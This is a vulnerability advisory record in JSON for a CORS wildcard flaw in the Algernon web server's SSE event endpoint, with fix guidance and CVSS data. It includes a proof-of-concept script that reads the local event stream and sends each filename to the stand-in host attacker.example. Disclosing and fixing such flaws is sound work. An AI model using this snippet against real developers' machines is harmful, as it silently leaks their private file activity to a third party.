{"id":"CVE-2026-46431","aliases":["CVE-2026-46431","GHSA-hw27-4v2q-5qff","GO-2026-5440"],"related":[],"kind":"vulnerability","state":"published","title":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: *","summary":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"Algernon is a small self-contained pure-Go web server. Prior to 1.17.7, the SSE event server's Access-Control-Allow-Origin response header was hardcoded to the wildcard * regardless of the caller's Origin. Because EventSource does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin EventSource to the SSE port and read the live filename stream from JavaScript. This vulnerability is fixed in 1.17.7.","source":"cvelist"},{"lang":"en","text":"### Summary\n\nThe SSE event server's `Access-Control-Allow-Origin` response header was hardcoded to the wildcard `*` regardless of the caller's `Origin`. Because `EventSource` does not preflight and does not send cookies, the wildcard is sufficient to let any third-party page the developer visits open a cross-origin `EventSource` to the SSE port and read the live filename stream from JavaScript. Combined with the lack of authentication (advisory #2a), no further trickery is required — any tab the developer opens has script-level read access to the stream.\n\nThis advisory covers the CORS configuration in isolation. The fix is independent of authentication and bind-address fixes: the wildcard could be replaced with a same-origin echo without touching either.\n\n### Details\n\n#### Root cause — hard-coded `\"*\"` passed as the CORS allowed-origin\n\n```go\n// engine/config.go  (1.17.6, MustServe)\nrecwatch.EventServer(absdir, \"*\", ac.eventAddr, ac.defaultEventPath, ac.refreshDuration)\n```\n\nThe literal `\"*\"` is the second positional argument. The vendored `recwatch` implementation reflects it verbatim into the response header:\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go:100-108  (1.17.6)\nfunc GenFileChangeEvents(events TimeEventMap, mut *sync.Mutex, maxAge time.Duration, allowed string) http.HandlerFunc {\n    return func(w http.ResponseWriter, _ *http.Request) {\n        w.Header().Set(\"Content-Type\", \"text/event-stream;charset=utf-8\")\n        w.Header().Set(\"Cache-Control\", \"no-cache\")\n        w.Header().Set(\"Connection\", \"keep-alive\")\n        w.Header().Set(\"Access-Control-Allow-Origin\", allowed)\n        ...\n    }\n}\n```\n\nThere is no decision based on the request's `Origin` header, and no allow-list mechanism — every caller is told their origin is approved.\n\n#### Why the wildcard is exploitable\n\n`EventSource` opens a `GET` request, never sends a preflight, and never carries cookies. The same-origin policy normally still blocks the response body from being read by JavaScript at a different origin — that is the role of `Access-Control-Allow-Origin`. When the server returns `*`, the browser permits the cross-origin script to read every `message` event.\n\nSo a developer running `algernon -a` on their workstation, with the SSE listener at `http://127.0.0.1:5553/sse` (Windows) or `http://0.0.0.0:5553/sse` (Linux/macOS), only needs to visit *any* third-party origin in another tab for the following to drain their stream silently:\n\n```html\n<!doctype html>\n<script>\n  const s = new EventSource('http://127.0.0.1:5553/sse');\n  s.onmessage = e => fetch('https://attacker.example/log?f=' + encodeURIComponent(e.data));\n</script>\n```\n\nThe exploit is cookie-less and CORS-clean — no SameSite, no third-party-cookie restriction, no preflight challenge applies. The user interaction is \"visit a webpage,\" which `UI:R` in the CVSS vector reflects.\n\n### PoC (against 1.17.6)\n\n```bash\n# 1. Operator: algernon -a /path/to/project  on Windows; SSE at localhost:5553\n# 2. Attacker lures the developer to https://news.example:\n#    The page contains the snippet above.\n# 3. EventSource opens, browser sends the request; algernon responds with\n#    Access-Control-Allow-Origin: *, browser passes message events to the\n#    cross-origin script; script ships filenames to attacker.example.\n```\n\nCLI reproduction of the header is identical to advisory #2a's transcript; the relevant evidence is the `Access-Control-Allow-Origin: *` value in the response, not the body.\n\n### Impact\n\n- **Confidentiality:** medium. Cross-origin browser-tab read access to the file-change stream, with no server-side knowledge that the read happened.\n- **Integrity:** none.\n- **Availability:** none directly (the cross-origin tab does not exhaust resources beyond the user's own browser).\n\n### Suggestions to fix\n\n**Primary fix — echo a same-origin allow-list instead of `*`.**\n\n```go\n// vendor/github.com/xyproto/recwatch/eventserver.go -- in GenFileChangeEvents\norigin := r.Header.Get(\"Origin\")\nif !isAllowedOrigin(origin) {\n    http.Error(w, \"forbidden\", http.StatusForbidden)\n    return\n}\nw.Header().Set(\"Access-Control-Allow-Origin\", origin)\nw.Header().Set(\"Vary\", \"Origin\")\n```\n\nThe `allowed` parameter must change from `\"*\"` to an explicit allow-list (or a single canonical server origin) — for example, `sseScheme + \"://\" + ac.serverAddr`. With the server's own scheme+host+port in `Allow-Origin`, a cross-origin request from `evil.example` is rejected by the browser because the response advertises a different origin.\n\n**Defence in depth — drop the legacy dedicated-port code path.** Mounting the SSE handler on the main mux instead lets the response omit `Access-Control-Allow-Origin` entirely (same-origin only by default). The dedicated `--eventserver`-style path is the only place `Access-Control-Allow-Origin` is set in the codebase; removing the dedicated path simplifies the surface.\n\n### Live verification\n\n```\n$ ./algernon.exe --nodb --httponly --server -a --addr 127.0.0.1:18779 --quiet poc2/site\n$ ( curl -sNi --max-time 2 -H \"Origin: http://evil.example\" http://127.0.0.1:5553/sse > sse.txt &\n    sleep 1\n    echo \"trigger\" >> poc2/site/probe.txt\n    wait )\n$ cat sse.txt\nHTTP/1.1 200 OK\nAccess-Control-Allow-Origin: *\nCache-Control: no-cache\nConnection: keep-alive\nContent-Type: text/event-stream;charset=utf-8\n...\nid: 0\ndata: C:\\Users\\xbox\\Desktop\\VulnTesting\\algernon-main\\poc-test\\poc2\\site\\probe.txt\n```\n\nThe `Origin: http://evil.example` request header was echoed back as `Access-Control-Allow-Origin: *` (the wildcard — browsers treat this as \"any origin may read\"). A cross-origin tab at any URL can run `new EventSource(\"http://<algernon>:5553/sse\")` and read the stream.","format":"markdown","source":"ghsa"},{"lang":"en","text":"Algernon: Auto-refresh SSE event server sets Access-Control-Allow-Origin: * in github.com/xyproto/algernon","format":"markdown","source":"go"},{"lang":"es","text":"Algernon es un pequeño servidor web autocontenido pure-Go. Antes de la 1.17.7, el encabezado de respuesta Access-Control-Allow-Origin del servidor de eventos SSE estaba codificado de forma rígida al comodín * independientemente del Origin del llamador. Debido a que EventSource no realiza una solicitud de pre-vuelo y no envía cookies, el comodín es suficiente para permitir que cualquier página de terceros que el desarrollador visite abra un EventSource de origen cruzado al puerto SSE y lea el flujo de nombres de archivo en vivo desde JavaScript. Esta vulnerabilidad está corregida en la 1.17.7.","source":"nvd"}],"published":"2026-05-20T15:34:40.000Z","modified":"2026-07-24T11:10:00.170Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N","score":4.3,"rating":"MEDIUM"}],"cwes":["CWE-942"],"affected":[{"ranges":[{"version":"< 1.17.7","status":"affected"}],"vendor":"xyproto","product":"algernon","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.7"}],"ecosystem":"Go","package":"github.com/xyproto/algernon","purl":"pkg:golang/github.com/xyproto/algernon","source":"ghsa"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"1.17.7"}],"ecosystem":"Go","package":"github.com/xyproto/algernon","purl":"pkg:golang/github.com/xyproto/algernon","source":"go"}],"references":[{"url":"https://github.com/xyproto/algernon/security/advisories/GHSA-hw27-4v2q-5qff","tags":["advisory","exploit","web","x-refsource-confirm"],"sources":["cvelist","ghsa","go","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46431","tags":["advisory"],"sources":["ghsa","go"]},{"url":"https://github.com/xyproto/algernon","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2026-05-26T17:38:47.158Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2026-46431","url":"https://www.cve.org/CVERecord?id=CVE-2026-46431","licence":"CVE Terms of Use","modified":"2026-05-26T17:39:14.529Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-hw27-4v2q-5qff","url":"https://github.com/advisories/GHSA-hw27-4v2q-5qff","licence":"CC-BY-4.0","modified":"2026-06-25T23:11:26.240Z"},{"source":"go","name":"Go Vulnerability Database","id":"GO-2026-5440","url":"https://pkg.go.dev/vuln/GO-2026-5440","licence":"CC-BY-4.0","modified":"2026-06-25T23:00:17.325Z"},{"source":"nvd","name":"NVD","id":"CVE-2026-46431","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-46431","licence":"Public domain","modified":"2026-07-24T11:10:00.170Z"}],"updatedAt":"2026-11-25T22:59:22.343Z","epss":{"score":0.00219,"percentile":0.13192,"date":"2026-12-01T12:00:22.000Z"}}